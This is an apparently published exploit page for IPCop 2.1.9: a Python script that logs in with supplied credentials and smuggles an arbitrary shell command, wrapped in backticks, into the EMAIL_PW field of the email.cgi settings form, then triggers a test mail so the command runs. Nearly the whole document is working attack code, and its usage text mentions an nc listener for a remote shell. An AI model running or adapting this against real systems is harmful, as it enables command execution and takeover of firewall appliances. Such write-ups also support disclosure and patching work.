IPCop 2.1.9 Remote Code Execution

`# Exploit Title: IPCop 2.1.9 - Remote Code Execution (RCE) (Authenticated)  
# Date: 02/08/2021  
# Exploit Author: Mücahit Saratar  
# Vendor Homepage: https://www.ipcop.org/  
# Software Link: https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.8/ipcop-2.1.8-install-cd.i486.iso - https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.9/ipcop-2.1.9-update.i486.tgz.gpg  
# Version: 2.1.9  
# Tested on: parrot os 5.7.0-2parrot2-amd64  
  
#!/usr/bin/python3  
  
import requests as R  
import os  
import sys  
import base64  
import urllib3  
  
R.packages.urllib3.disable_warnings()  
R.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'  
try:  
R.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'  
except AttributeError:  
# no pyopenssl support used / needed / available  
pass  
  
try:  
hostport = sys.argv[1]  
assert hostport[:8] == "https://" and hostport[-1] == "/"  
url = hostport + "cgi-bin/email.cgi"  
username = sys.argv[2].encode()  
password = sys.argv[3].encode()  
auth = base64.b64encode(username+b":"+password).decode()  
command = sys.argv[4]  
assert " " in command  
except:  
print("[-] Usage https://host:port/ username password command(no spaces) <port for listen with nc - optional - >")  
exit(1)  
  
  
rheader = {"Authorization":"Basic "+auth,  
"Origin": hostport,  
"Referer": url}  
  
rdata = {  
"EMAIL_SERVER": "mucahitsaratar.github.io",  
"EMAIL_USE_TLS": "auto",  
"EMAIL_SERVER_PORT": "1337",  
"EMAIL_USR": "ipcop@localdomain",  
"EMAIL_PW": f"`{command}`",  
"EMAIL_FROM": "ipcop@localdomainn",  
"EMAIL_TO": "ipcop@localdomainnn",  
"ACTION": "Kaydet" # change here to what is mean the "save && send test mail" in target language  
}  
  
  
R.post(url,headers=rheader, data=rdata, verify=False)  
rdata["ACTION"] = "Test postası gönder" # send test mail  
R.post(url,headers=rheader, data=rdata, verify=False)  
  
`